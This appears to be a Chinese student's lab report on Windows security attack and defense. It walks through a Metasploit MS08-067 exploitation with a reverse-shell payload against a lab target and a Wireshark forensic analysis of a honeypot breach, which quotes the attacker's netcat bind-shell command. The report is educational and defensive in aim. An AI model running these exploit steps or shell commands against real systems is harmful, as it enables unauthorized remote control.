实践六 Windows操作系统安全攻防
1 实践内容
1.1 Metasploit
Metasploit是一款开源的安全漏洞检测工具,可以帮助安全和IT专业人士识别安全性问题,验证漏洞的缓解措施,并管理专家驱动的安全性进行评估,提供真正的安全风险情报。这些功能包括智能开发,代码审计,Web应用程序扫描,社会工程。团队合作,在Metasploit和综合报告提出了他们的发现。
Metasploit有以下常用命令:
表1.1 Metasploit常用命令
命令 | 介绍 |
show exploit | 列出metasploit框架中的所有渗透攻击模块。 |
show payloads | 列出metasploit框架中的所有攻击载荷。 |
show auxiliary | 列出metasploit框架中的所有辅助攻击模块。 |
search name | 查找metasploit框架中的所有渗透攻击和其他模块。 |
info | 展示出制定渗透攻击或模块的相关信息。 |
use name | 装载一个渗透攻击或者模块。 |
LHOST | 目标主机链接的IP地址。 |
RHOST | 远程主机或者目标主机。 |
set function | 设置特定的配置参数。 |
run scriptname | 运行meterpreter脚本,在scripts/meterpreter目录下可查看到所有脚本名。 |
use priv | 加载特权提升扩展模块,来扩展meterpreter库。 |
use incognito | 加载inconito功能(用来盗取目标主机的令牌或是假冒用户) |
getsystem | 通过各种攻击向量来提升到系统用户权限。 |
shell | 以所有可用令牌来运行一个交互的shell。 |
1.2 MS08-067漏洞
MS08-067漏洞是通过MSRPC over SMB通道调用Server服务程序中的NetPathCanonicalize函数时触发的,而NetPathCanonicalize函数在远程访问其他主机时,会调用NetpwPathCanonicalize函数,对远程访问的路径进行规范化,而在NetpwPathCanonicalize函数中存在的逻辑错误,造成栈缓冲区可被溢出,而获得远程代码执行(Remote Code Execution)。MS08-067漏洞将会影响除Windows Server 2008 Core以外的所有Windows系统,包括:Windows 2000/XP/Server 2003/Vista/Server 2008的各个版本,甚至还包括测试阶段的Windows 7 Pro-Beta。
1.3 Windows身份认证机制
安全主体:进行系统资源访问请求的实体对象,包括用户、用户组、计算机。(有唯一标识SID)
Windows为每个用户和计算机设置账户(accounts)进行管理;(限制账户内运行程序对系统资源对象的访问。
Windows用户账户的口令字经过加密处理之后被保存于SAM或者活动目录AD中;对于试图使用Windows系统的用户与远程计算机等安全主体,Windows通过一些秘密信息来认证安全主体真实合法的身份,进行用户身份认证,支持本地身份认证和网络身份认证(客户端访问网络服务器资源时,客户端Netlogon与服务器端Netlogon进行基于"质询-应答式"的身份验证协议过程)两种;
Winlogon进程、GINA图形化登录窗口与LSASS服务通过协作来完成本地身份认证过程
使用不安全的NTLM和LANMAN协议,攻击者可实施针对Windows的远程口令监听与破解
1.4 Windows攻防技术
Windows本地特权提升:主要通过DLL注入和破解本地程序安全漏洞提升本地特权;Windows敏感信息窃取:Windows系统口令密文提取技术中使用磁盘修复工具包中的rdisk工具创建SAM备份文件副本,并且使用pwdumpX系列工具直接从SAM文件或活动目录中提取口令字密文;Windows消踪灭迹:这里主要是攻击者攻击之后需要清除自己的痕迹,一般采取的方式有:关闭审计功能、清理事件日志;Windows远程控制与后门程序:攻击者在目标系统上完成提权、信息窃取、掩灭踪迹后为了下次能再次登录这才主机会设置后门程序。
2 实践过程
2.1 动手实践Metasploit windows attacker
使用metasploit软件进行windows远程渗透统计实验。
使用windows Attacker/BT4攻击机尝试对windows Metasploitable靶机上的MS08-067漏洞进行远程渗透攻击,获取目标主机的访问权。
首先在攻击机上输入指令"msfconsole"打开metasploit软件。
图2.1 打开metasploit软件
查询针对ms08_067漏洞可以运用的攻击模块,发现"ms08_067_netapi"可以使用。
图2.2 ms08_067_netapi
输入命令"use exploit/windows/smb/ms08_067_netapi"使用该攻击模块进行之后的攻击。
图2.3 开始配置
输入命令"show payloads"查看可以供我们使用的攻击载荷。
图2.4 攻击载荷
输入命令"show targets"查看这个漏洞波及的系统版本。
图2.5 漏洞波及的系统版本
输入命令"set TARGET 0"选择自动识别靶机,目的是为了获取靶机的shell。输入命令"set payload generic/shell_reverse_tcp"反向连接来获取。输入命令"show options"显示需要设置的参数
图2.6 设置参数
设置参数(LHOST设置为攻击机的IP地址,RHOST设置为靶机的IP地址)"set LHOST 192.168.200.4"、"set RHOST 192.168.200.7"。
图2.7 设置IP
输入命令"exploit"进行攻击。
图2.8 开始攻击
可以看出执行指令通过,实验成功。
2.2 取证分析实践
解码一次成功的NT系统破解攻击。
来自212.116.251.162的攻击者成功攻陷了一台由rfp部署的蜜罐主机172.16.1.106,(主机名为lab.wiretrip.net),要求提取并分析攻击的全部过程。
(1)攻击者使用了什么破解工具进行攻击?
用Wireshark打开二进制文件,通过"ip.addr == 213.116.251.162 && ip.addr == 172.16.1.106"对数据包进行过滤,可以看到攻击机与靶机在TCP"三次握手"后建立了连接,同时发现靶机的操作系统为windows NT 5.0,攻击机还访问了http://lab.wiretrip.net/Default.htm。
图2.9 靶机的操作系统
第117行发现攻击者打开了系统启动文件boot.ini,同时因为"%C0%AF"是/的Unicode编码,使用"ip.addr == 213.116.251.162 && ip.addr == 172.16.1.106&& http"为条件进行过滤,发现出现多次的msadcs.dll,对其中的149号数据包进行追踪,发现攻击者利用漏洞进行了SQL注入攻击,并执行了命令cmd /c echo werd >> c:\fun,同时!ADM!ROX!YOUR!WORLD!这一字符串频繁出现,经过上网搜索,发现这是一个名为msadc2.pl的工具发起的攻击,使用的是RDS漏洞进行了SQL注入攻击。
图2.10 msadc2.pl
(2)攻击者如何使用这个破解工具进入并控制了系统?
可以发现攻击者尝试建立FTP连接,通过追踪发现,这个连接由于口令错误导致连接失败。接着使用ftp进行过滤,发现1106号数据包成功建立了FTP连接。
图2.11 成功建立了FTP连接
在1233号数据包中,发现攻击者执行了命令"c+nc+-l+-p+6969+-e+cmd1.exe",表示攻击者连接了6969端口并且获得了访问权限。
图2.12 获得访问权限
(3)攻击者获得系统访问权限后做了什么?
使用为条件"tcp.port == 6969"进行过滤,发现攻击者先进行了查看文件和权限、删除脚本等常用操作。从数据流来看出攻击者使用了SQl注入攻击,在靶机系统目录下生成一个文件。
图2.13 SQl注入攻击
在编号2339的数据包中追踪http流,可以看到ADD,这意味着提升权限。
图2.14 提升权限
(4)我们如何防止这样的攻击?
这样的攻击主要是RDS漏洞攻击和Unicode漏洞攻击。
防止的方法有如下几中:
1)限制网络用户访问和调用CMD命令的权限;
2)若没必要使用SCRIPTS和MSADC目录,删除或改名;
3)安装windows NT系统时不要使用默认WINNT路径,您可以改为其他的文件夹,如C:\mywindowsnt;
4)用户可从如下地址下载Microsoft提供的补丁:t.asp为IIS 4.0的补丁地址,.asp为IIS 5.0补丁地址;
5)通过移除或删除系统内/msadc目录,同时移除c:\Program Files\Common Files\System\Msadc\msadcs.dll,或安装MDAC 2.1 SP2补丁,并注意及时上网更新。
(5)你觉得攻击者是否警觉了他的目标是一台蜜罐主机?如果是,为什么?
追踪TCP流就可以看到一行字"rfp。txt",可以得知攻击者已经知道这是一台蜜罐主机。
图2.15 蜜罐主机
2.3 团队对抗实践
windows系统远程渗透攻击和分析。
(1)攻方使用metasploit选择漏洞进行攻击,获得控制权。(要求写出攻击方的同学信息、使用漏洞、相关IP地址等)
被攻击者IP:192.168.200.7
使用漏洞:ms08-067
攻击机输入指令"msfconsole"启动msfconsole。
图2.16 启动msfconsole
输入指令"use windows/smb/ms08_067_netapi"选择使用的漏洞。输入指令"set payload generic/shell_reverse_tcp"设置攻击的载荷为tcp的反向连接。设置参数(LHOST设置为攻击机的IP地址,RHOST设置为靶机的IP地址)"set LHOST 192.168.200.4"、"set RHOST 192.168.200.7"。
图2.17 设置参数
输入指令"exploit"进行攻击,并发现攻击成功。
图2.18 攻击成功
(2)防守方使用wireshark监听获得的网络数据包,分析攻击过程,获取相关信息。
攻击者IP:192.168.200.4
Wireshark拦截到攻击报文。
图2.19 Wireshark拦截攻击报文
可以看到靶机执行并返回了攻击者的"ipconfig"命令。
图2.20 监控命令
3.学习中遇到的问题及解决
set LHOST设置的是攻击主机的地址;set RHOST设置的是靶机的地址,要注意区分。
4 感想和体会
通过本次实验,我学习到了各种Windows操作系统安全攻防的基本原理和方法。学习使用Metasploit利用MS08-067漏洞攻击Windows系统。成功并且成功拿到了shell,可以对靶机进行远程控制。进一步学习了Wireshark对数据包的分析和过滤。对操作系统漏洞的危害性有了更深刻的认识,学习到了很多知识,让我受益匪浅。